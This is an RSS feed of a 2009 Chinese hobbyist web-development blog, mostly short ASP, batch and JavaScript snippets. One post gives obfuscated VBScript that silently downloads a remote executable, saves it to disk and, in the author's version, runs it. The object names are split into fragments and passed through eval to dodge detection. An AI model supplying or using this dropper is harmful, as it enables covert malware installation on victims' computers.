<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[刚子’s Blog]]></title>
<link>http://www.gangzi.org/</link>
<description><![CDATA[你为钱死，我为情亡！]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[go786@126.com(刚子)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>刚子’s Blog</title>
	<url>http://www.gangzi.org/images/logos.gif</url>
	<link>http://www.gangzi.org/</link>
	<description>刚子’s Blog</description>
</image>

			<item>
			<link>http://www.gangzi.org/article/306.htm</link>
			<title><![CDATA[ASP转码函数]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Wed,01 Jul 2009 18:43:24 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=306</guid>
		<description><![CDATA[昨天做了一个UTF-8页面传值给GB2312页面的东东，结果一直乱码。我一共找了两个asp的转码函数，最后结果都有些问题。传来的值如果是汉字的 并且位数为偶数 也可以正常转码 如果传来的汉字总数是奇数 那么无法转码 依然是乱码。头疼，睡觉前去CSDN发个贴子，今天一起来赶紧打开一看，哦也，有高手搞定了，下面发代码：<br/>（CSDN原版帖子见<a href="http://topic.csdn.net/u/20090701/06/98459778-fdda-4f04-8f4a-c08d92ae2692.html?seed=631970123" target="_blank" rel="external">http://topic.csdn.net/u/20090701/06/98459778-fdda-4f04-8f4a-c08d92ae2692.html?seed=631970123</a>）<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Public QueryString<br/>Set QueryString = Server.Cr&#101;ateObject(&#34;Scripting.Dictionary&#34;)<br/>Call ProcessQueryString(&#34;utf-8&#34;)<br/><br/>Dim key<br/>For Each key In QueryString.Keys<br/>&nbsp;&nbsp;&nbsp;&nbsp;Response.Write &#34;QueryString(&#34; &amp; key &amp; &#34;) = &#34; &amp; QueryString(key)<br/>Next<br/><br/>Public Sub ProcessQueryString(ByVal charset)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim qs, arr, ptr, tmp<br/>&nbsp;&nbsp;&nbsp;&nbsp;qs = Request.ServerVariables(&#34;QUERY_STRING&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;qs = &#34;as_q=%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD&amp;hl=zh-CN&amp;newwindow=1&amp;num=10&amp;btnG=Google+%E6%90%9C%E7%B4%A2&amp;as_epq=&amp;as_oq=&amp;as_eq=&amp;lr=lang_zh-CN&amp;cr=&amp;as_ft=i&amp;as_filetype=&amp;as_qdr=all&amp;as_occt=any&amp;as_dt=i&amp;as_sitesearch=&amp;as_rights=&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;arr = Split(qs, &#34;&amp;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;For Each ptr In arr<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp = Split(ptr, &#34;=&#34;, 2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If UBound(tmp) = 1 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;QueryString(URLDecode(tmp(0), charset)) = URLDecode(tmp(1), charset)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>End Sub<br/><br/>Public Function URLDecode(ByVal data, ByVal charset)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim strm<br/>&nbsp;&nbsp;&nbsp;&nbsp;Set strm = Server.Cr&#101;ateObject(&#34;ADODB.Stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;With strm<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.type = 2<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.charset = &#34;iso-8859-1&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.open<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.writeText unescape(data)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.position = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.charset = charset<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URLDecode = .readText(-1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.close<br/>&nbsp;&nbsp;&nbsp;&nbsp;End With<br/>&nbsp;&nbsp;&nbsp;&nbsp;Set strm = Nothing<br/>End Function</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/305.htm</link>
			<title><![CDATA[Asp利用XMLHTTP检测远程文件是否存在]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Tue,30 Jun 2009 03:51:18 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=305</guid>
		<description><![CDATA[<div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;%<br/>url=&#34;<a href="http://www.4000.cc/gamepic/20096262023157828.jpg" target="_blank" rel="external">http://www.4000.cc/gamepic/20096262023157828.jpg</a>&#34;<br/>Function chku(murl)<br/>on error resume next<br/>Set xmlHttp = Server.Cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;)<br/>xmlHttp.open &#34;GET&#34;,murl,false<br/>xmlHttp.send<br/>&nbsp;&nbsp;&nbsp;&nbsp;if xmlHttp.Status &lt;&gt; 200 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chku=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chku=true<br/>&nbsp;&nbsp;&nbsp;&nbsp;end if<br/>End Function<br/><br/>if chku(url) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write(url&amp;&#34;(链接正常)&#34;)<br/>else<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write(url&amp;&#34;(掉链、坏链、死链)&#34;)<br/>end if<br/>%&gt;</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/304.htm</link>
			<title><![CDATA[自动展出到首屏，并在几秒后自动关闭的广告代码]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Mon,29 Jun 2009 16:37:24 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=304</guid>
		<description><![CDATA[这个广告的效果是相当的不错，各位可以先运行下看看效果，可以转换成JS来调用也可以直接放到HTML中。<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/html.gif" style="margin:0px 2px -3px 0px"> HTML代码</div><div class="UBBContent"><TEXTAREA rows="8" id="temp48215"><html>
<body>
<div id=&#34;f_ad&#34; style=&#34;width:60;height:60;border:1px solid #cccccc;padding:2px;position:absolute; &#34;> 
<b><span id=&#34;ad_lt&#34; style=&#34;color:#FF6666;font-size:14px;height:20px&#34;></b></span>
<iframe src=http://www.654.la height=200 width=200 marginheight=0 marginwidth=0 frameborder=0 scrolling=no></iframe></div>
<script>
var ad_w=210;
var ad_h=200;
var ad_l=(document.body.clientWidth-ad_w)/2;
var ad_t=(document.body.clientHeight-ad_h)/2;
var ad_ft=1;   //过渡时间
var ad_step=50;
var ad_time=7;
var ad_t1=ad_ft*1000/ad_step;
var ad_t2=60;
var ad_t3=(ad_w-ad_t2)*ad_time/ad_ft+ad_w;
var ad_t4=0;
var ad_t5=ad_time;
var ad_t6=ad_t2;
function flashad(){
  if(ad_l<0||ad_t<0){ad_t2+=ad_t3;}
  if(ad_t2>=ad_t3){
         ad_t5=0;
         if(ad_t4>ad_t6){ad_t4-=(ad_w-ad_t6)/ad_t1;}
         else{clearTimeout(ad_timer);
         f_ad.style.display=&#34;none&#34;;
         return;}
         }
 if(ad_t2<=ad_w){ad_t4=ad_t2;ad_t5=ad_time;}
 if(ad_t2>ad_w&amp;&amp;ad_t2<ad_t3){ad_t5=Math.floor(ad_time-(ad_t2-ad_w)/(ad_w-ad_t6)*ad_ft);}
 ad_t2+=(ad_w-ad_t6)/ad_t1;
 f_ad.style.width=ad_t4;
 f_ad.style.height=(ad_t6*ad_h/ad_w)+(ad_t4-ad_t6)*(ad_h-ad_t6*ad_h/ad_w)/(ad_w-ad_t6);
 f_ad.style.left=(ad_t4-ad_t6)*ad_l/(ad_w-ad_t6)+document.body.scrollLeft;
 f_ad.style.top=(ad_t4-ad_t6)*ad_t/(ad_w-ad_t6)+document.body.scrollTop;
 ad_lt.style.width=ad_t4-28;
 ad_lt.innerText=ad_t5+&#34;点击下方广告后自动关闭&#34;;
 
 var ad_timer=setTimeout(&#34;flashad()&#34;,ad_step);
}
flashad();
</script>
</body></html></TEXTAREA><br/><INPUT onclick="runEx('temp48215')"  type="button" class="userbutton" value="运行此代码"/> <INPUT onclick="doCopy('temp48215')"  type="button" class="userbutton" value="复制此代码"/> <INPUT onclick="saveCode('temp48215')" type="button" class="userbutton" value="保存此代码"><br/> [Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/303.htm</link>
			<title><![CDATA[asp统计某字段数值相加总和]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Sun,28 Jun 2009 06:56:16 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=303</guid>
		<description><![CDATA[<div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">set rs=conn.execute(&#34;sel&#101;ct sum(字段) AS gangzi from 表名&#34;) <br/>response.write rs(0) <br/>set rs=nothing</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/302.htm</link>
			<title><![CDATA[VBS获取系统安装路径]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Sun,28 Jun 2009 04:58:38 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=302</guid>
		<description><![CDATA[哎，我是一点都不懂VBS，但是今天却用到这个东西。我需要一个用VBS来获取系统的安装路径，类似于批处理的%windir%。<br/>但是发了两个帖子都没人回，郁闷之。结果从网上找实例，找到一大堆实例然后把对asp的变量的了解用到VBS上试试，最后终于搞定了。<br/><br/>set WshShell = WScript.Cr&#101;ateObject(&#34;WScript.Shell&#34;)<br/>strWinDir = WshShell.ExpandEnvironmentStrings(&#34;%WinDir%&#34;)<br/><br/>上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用&#34;&amp;strWinDir&amp;&#34;调用这个变量。<br/>发现这些语言里面对其中一门懂一点，其他的学起来就不是很费劲了。比如说这个变量引用和ASP是一模一样的，呵呵。]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/301.htm</link>
			<title><![CDATA[VBS自动下载远程exe到本机]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Sun,28 Jun 2009 02:25:25 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=301</guid>
		<description><![CDATA[第一个版本：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Set xfuck = Cr&#101;ateObject(&#34;Mic&#34;&amp;&#34;rosoft.XM&#34;&amp;&#34;L&#34;&amp;&#34;HTTP&#34;) <br/> with xfuck <br/> .Open &#34;GET&#34;,&#34;<a href="http://22.duote.com/wirelesskeyview.exe" target="_blank" rel="external">http://22.duote.com/wirelesskeyview.exe</a>&#34;,0&nbsp;&nbsp;<br/> .Send() <br/>end with <br/>Set szy = Cr&#101;ateObject(&#34;AD&#34;&amp;&#34;ODB.St&#34;&amp;&#34;r&#34;&amp;&#34;eam&#34;) <br/> with szy&nbsp;&nbsp;<br/> .type = eval(&#34;1&#34;) <br/> .Mode = eval(&#34;3&#34;)&nbsp;&nbsp;<br/> .open() <br/> .write eval(&#34;xfuck.res&#34;&amp;&#34;po&#34;&amp;&#34;nse&#34;&amp;&#34;Bod&#34;&amp;&#34;y&#34;) <br/> .SaveToFile &#34;C:\xxx.exe&#34;,eval (&#34;2&#34;)&nbsp;&nbsp;<br/>end with</div></div><br/>第二个版本：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">url = &#34;<a href="http://22.duote.com/wirelesskeyview.exe" target="_blank" rel="external">http://22.duote.com/wirelesskeyview.exe</a>&#34; &#39;网络上的文件地址或者程序&nbsp;&nbsp;<br/>saveas = &#34;x.exe&#34; &#39;保存成的本地文件或者名字（自定义）&nbsp;&nbsp;<br/>Set xmlhttp = Cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;) &#39;创建HTTP请求对象&nbsp;&nbsp;<br/>Set stream = Cr&#101;ateObject(&#34;ADODB.Stream&#34;) &#39;创建ADO数据流对象&nbsp;&nbsp;<br/><br/>Call xmlhttp.open(&#34;GET&#34;,url,False)&#39;打开连接&nbsp;&nbsp;<br/>Call xmlhttp.send()&#39;发送请求&nbsp;&nbsp;<br/><br/>stream.mode = 3 &#39;设置数据流为读写模式&nbsp;&nbsp;<br/>stream.type = 1 &#39;设置数据流为二进制模式&nbsp;&nbsp;<br/>Call stream.open()&#39;打开数据流&nbsp;&nbsp;<br/>Call stream.write(xmlhttp.responsebody)&#39;将服务器的返回报文主体内容写入数据流&nbsp;&nbsp;<br/>Call stream.savetofile(saveas,2)&#39;将数据流保存为文件&nbsp;&nbsp;<br/><br/>&#39;释放对象&nbsp;&nbsp;<br/>Set xmlhttp = Nothing&nbsp;&nbsp;<br/>Set stream = Nothing&nbsp;&nbsp;<br/>dim a &#39;定义a变量&nbsp;&nbsp;<br/>set a=Cr&#101;ateObject(&#34;Wscript.Shell&#34;) &#39;暂时屏蔽 创建应用脚本程序</div></div><br/>刚子版（下载后运行）<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Set xfuck = Cr&#101;ateObject(&#34;Mic&#34;&amp;&#34;rosoft.XM&#34;&amp;&#34;L&#34;&amp;&#34;HTTP&#34;) <br/> with xfuck <br/> .Open &#34;GET&#34;,&#34;<a href="http://23.duote.com/mirandaim.exe" target="_blank" rel="external">http://23.duote.com/mirandaim.exe</a>&#34;,0&nbsp;&nbsp;<br/> .Send() <br/>end with <br/>Set szy = Cr&#101;ateObject(&#34;AD&#34;&amp;&#34;ODB.St&#34;&amp;&#34;r&#34;&amp;&#34;eam&#34;) <br/> with szy&nbsp;&nbsp;<br/> .type = eval(&#34;1&#34;) <br/> .Mode = eval(&#34;3&#34;)&nbsp;&nbsp;<br/> .open() <br/> .write eval(&#34;xfuck.res&#34;&amp;&#34;po&#34;&amp;&#34;nse&#34;&amp;&#34;Bod&#34;&amp;&#34;y&#34;) <br/> .SaveToFile &#34;xxx.exe&#34;,eval (&#34;2&#34;)&nbsp;&nbsp;<br/>end with<br/>Dim objws <br/>Set objws=WScript.Cr&#101;ateObject(&#34;wscript.shell&#34;) <br/>objws.Run &#34;xxx.exe&#34;</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/300.htm</link>
			<title><![CDATA[批处理获取文件名]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Sat,27 Jun 2009 19:09:18 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=300</guid>
		<description><![CDATA[今天琢磨了一个批处理获取相同目录下所有文件名并保存为txt的功能。<br/>1.把获取到的文件名保存为1.txt<br/>dir /b &gt;1.txt<br/>2.把获取到的文件名保存为当日日期的txt<br/>dir /b &gt;%date:~0,10%.txt<br/>3.只获取.swf后缀的文件名<br/>dir /b *.swf&gt;%date:~0,10%.txt]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/299.htm</link>
			<title><![CDATA[火狐访问网页跳转代码]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Sat,27 Jun 2009 17:40:52 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=299</guid>
		<description><![CDATA[做站长的一般都很头疼火狐浏览器的兼容性问题。搞得网页很多效果不能实现。我今天找了一个代码，用JS判断如果访问的浏览器是火狐就跳转。也可以自行修改。<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.gangzi.org/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;script&gt;<br/>if(isFirefox=navigator.userAgent.indexOf(&#34;Firefox&#34;)&gt;0)<br/>{top.location=&#39;<a href="http://www.baidu.com/index.php?tn=1k7com" target="_blank" rel="external">http://www.baidu.com/index.php?tn=1k7com</a>&#39;;} <br/>&lt;/script&gt;</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/298.htm</link>
			<title><![CDATA[QQ截图工具]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Fri,26 Jun 2009 11:14:52 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=298</guid>
		<description><![CDATA[和QQ自带的截图工具差不多，绿色版，只有两个文件，有尺寸和坐标显示，很不错。<br/><img src="http://www.gangzi.org/images/download.gif" alt="下载文件" style="margin:0px 2px -4px 0px"/> <a href="http://www.gangzi.org/attachments/month_0906/a2009626111435.rar" target="_blank">点击下载此文件</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.gangzi.org/article/297.htm</link>
			<title><![CDATA[ASP上传提示不允许操作的解决方法 ]]></title>
			<author>go786@126.com(刚子)</author>
			<category><![CDATA[技术资料]]></category>
			<pubDate>Fri,26 Jun 2009 06:56:51 +0800</pubDate>
			<guid>http://www.gangzi.org/default.asp?id=297</guid>
		<description><![CDATA[最近使用asp上传SWF，发现总是提示“不允许操作”，但是上传图片不提示。后来找到解决办法如下：<br/>第一步：<br/>开始-控制面板-管理-服务<br/>找到iis admin<br/>双击-停止 <br/>第二步：找到 windows \ system32 \ inesrv 下的metabase.xml.找到aspMaxRequestEntityAllowed 把它修改为需要的值，默认是204800 即200k，如吧它改为51200000（50m） ]]></description>
		</item>
		
</channel>
</rss>
